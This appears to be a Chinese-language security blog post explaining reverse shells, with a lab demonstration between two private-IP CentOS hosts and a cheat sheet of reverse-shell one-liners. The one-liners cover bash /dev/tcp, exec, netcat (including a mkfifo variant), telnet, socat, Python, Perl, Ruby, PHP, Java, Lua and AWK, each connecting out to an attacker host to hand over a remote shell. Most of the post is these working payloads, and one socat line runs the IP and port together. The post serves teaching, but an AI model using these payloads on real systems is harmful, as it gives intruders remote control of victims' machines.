漏洞之 reverse shell (反弹 shell)

什么是反弹 shell (reverse shell)

反弹 shell 就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell 与 telnet,ssh 等标准 shell 对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹 shell

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

  1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
  2. 目标机器的 ip 动态改变,你不能持续控制。
  3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  4. 对于病毒、木马、受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

参考:https://www.zhihu.com/question/24503813

反弹shell实验

环境:两台CentOS7.6服务器

  • 攻击端 hacker:10.201.61.194
  • 受害端 victim:10.201.61.195

测试0

  1. 攻击端监听一个端口:

    1
    2
    3
    4
    [root@hacker ~]# nc -lvp 6767
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::6767
    Ncat: Listening on 0.0.0.0:6767
  2. 受害端生成一个反弹shell:

    1
    [root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1
  3. 攻击端已获取到受害端的bash:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    [root@hacker ~]# nc -lvp 6767
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::6767
    Ncat: Listening on 0.0.0.0:6767
    Ncat: Connection from 10.201.61.195.
    Ncat: Connection from 10.201.61.195:46836.
    [root@victim ~]# //攻击端已获得受害端的远程交互式shell
    [root@victim ~]# hostname
    hostname
    victim

解释:

  1. nc -lvp 6767

    -l 监听,-v 输出交互或出错信息,-p 端口。nc 是 netcat 的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

  2. bash -i

    -i interactive。即产生一个交互式的shell(bash)。

  3. /dev/tcp/IP/PORT

    特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

通过以下4个小测试来分析反弹shell实现过程

测试1

受害端:

1
2
[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 //第二步
[root@victim ~]# hostname //第三步

攻击端:

1
2
3
4
5
6
7
8
[root@hacker ~]# nc -lvp 5566      //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:49018.

victim //测试1结果:实现了将受害端的标准输出重定向到攻击端,但是还没实现用命令控制受害端。

测试2

受害端:

1
2
3
[root@victim ~]# bash -i < /dev/tcp/10.201.61.194/5566        //第二步
[root@victim ~]# hostname //测试2结果:实现了将攻击端的输入重定向到受害端,但是攻击端看不到命令执行结果。
victim

攻击端:

1
2
3
4
5
6
7
[root@hacker ~]# nc -lvp 5566        //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:50412.
hostname //第三步(攻击端执行命令)

测试3

受害端:

1
2
3
4
5
6
[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1        //第二步
[root@victim ~]# hostname //受害端回显命令
[root@victim ~]# id //受害端回显命令
[root@victim ~]# hahaha //受害端回显命令
bash: hahaha: command not found //受害端回显命令。显示错误命令的输出。
[root@victim ~]#

攻击端:

1
2
3
4
5
6
7
8
9
10
11
12
13
[root@hacker ~]# nc -lvp 5566        //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:36792.
hostname //第三步(攻击端执行命令)
victim
id //第四步(攻击端执行命令)
uid=0(root) gid=0(root) groups=0(root)
hahaha //第五步(执行一个错误的命令)

//测试3结果:基本实现了反弹shell的功能。但是受害端的机器上依然回显了攻击者机器上执行的命令,且攻击端看不到错误命令的输出。

测试4(将上面三个测试结合。将标准输入、标准输出、错误输出全都重定向到攻击端):

受害端:

1
[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 2>&1        //第二步。或 # bash -i &> /dev/tcp/10.201.61.194/5566 0>&1  (注:&>或>& 表示混合输出,即标准输出1 + 错误输出2)

攻击端:

1
2
3
4
5
6
7
8
9
10
11
[root@hacker ~]# nc -lvp 5566        //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:51182.
[root@victim ~]# hostname //第三步。测试4结果:攻击端已获得受害端的远程交互式shell,而且受害端没有再回显攻击端输入的命令~
hostname
victim

//PS:由测试3、测试4对比可见,标准错误2不仅显示错误信息的作用,居然还有回显输入命令和终端提示符的作用~~~

解析:

  • 输入的命令,如 ls,其实是linux 回显在屏幕上的,属于错误输出 2
  • 输入命令显示的结果,如 ls 的结果,属于正常输出 1

各种 反弹 shell

bash

  1. 在攻击主机上执行端口监听:

    1
    nc -lvvp port //port 为攻击主机端口号,并且此端口号没有被占用
  2. 在目标主机上执行:

    1
    2
    3
    bash -i >& /dev/tcp/攻击主机ip/port 0>&1  //port 为攻击主机端口号
    // or
    bash -i > /dev/tcp/攻击主机ip/port 0>&1 2>&1

exec

1
2
3
exec 5<>/dev/tcp/x.x.x.x/9999

cat <&5 | while read line; do $line 2>&5 >&5; done
  • 第一条命令 建立与x.x.x.x:9999的tcp连接,并将标准输入输出作为device 5的标准输入输出

  • 第二条cat <&5 获取device5的输入; while read line; do $line 2>&5 >&5 一旦获取到命令便运行 然后将标准输入输出以及标准错误输出到device5中

nc(netcat) 反弹

  1. 在攻击主机上执行端口监听:

    1
    nc -lvvp port    //port 为攻击主机端口号,并且此端口号没有被占用
  2. 在目标主机上执行:

    1
    nc -e /bin/bash 攻击主机ip port
  3. 还可以在目标主机上这样执行

    1
    nc x.x.x.x 1234|/bin/bash|nc x.x.x.x 4321    //在攻击主机上打开两个终端,分别监听 1234 和 4321 端口,得到反弹shell后,1234 终端 输入命令, 4321 终端就会获得执行相应命令后的结果
  4. 由于现在很多主机上可能没有netcat了,所以如果遇到虽然有netcat 但不支持 nc -e /bin/bash 攻击主机ip port-e选项的主机,还可以这样反弹shell

    1
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
    • rm /tmp/f 删除命令
    • mkfifo /tmp/f; 在tmp目录下写fifo文件f
    • /bin/sh -i 2>&1 将/bin/sh 的标准错误重定向到标准输出
    • nc x.x.x.x 2333 >/tmp/f将nc监听到的输入 输入到fifo

telnet 反弹

  1. 在攻击主机上打开两个终端分别监听 1234 和 4321端口,(确保端口开放,并且不被占用),得到反弹shell后,1234 终端 输入命令, 4321 终端就会获得执行相应命令后的结果:

    1
    2
    nc -lvvp 1234
    nc -lvvp 4321
  2. 在目标主机上执行:

    1
    telnet 攻击主机ip 1234 | /bin/bash | telnet 攻击主机ip 4321

socat 反弹

Socat是Linux 下一个多功能的网络工具,名字来由是” Socket CAT”,因此可以看出它基于socket,能够折腾socket相关的无数事情 ,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此,nc应急比较久没人维护了,确实显得有些陈旧了,我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参加见文末的参考学习。

有关socat二进制可执行文件,大家可以到这个链接下载:https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

  1. 攻击机上开启监听

    1
    socat TCP-LISTEN:12345 -
  2. 靶机上运行socat反弹shell

    1
    /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.31.17412345

常见脚本反弹

以下脚本是在目标主机上执行,其中 x.x.x.x 均为攻击主机ip,并且需要提前在攻击主机上进行监听相关端口,接下来就不再赘述

1. python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

2. perl

方法一:

1
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

方法二:

1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

3. Ruby

1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

4. PHP

1
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

5. Java

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}

6. Lua

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"

7. AWK 反弹

攻击的机器监听,在收到shell的时候不可以输入enter,不然会断开

1
awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

漏洞之 reverse shell (反弹 shell)
https://flepeng.github.io/081-security-漏洞-漏洞之-reverse-shell-反弹-shell/
作者
Lepeng
发布于
2021年3月8日
许可协议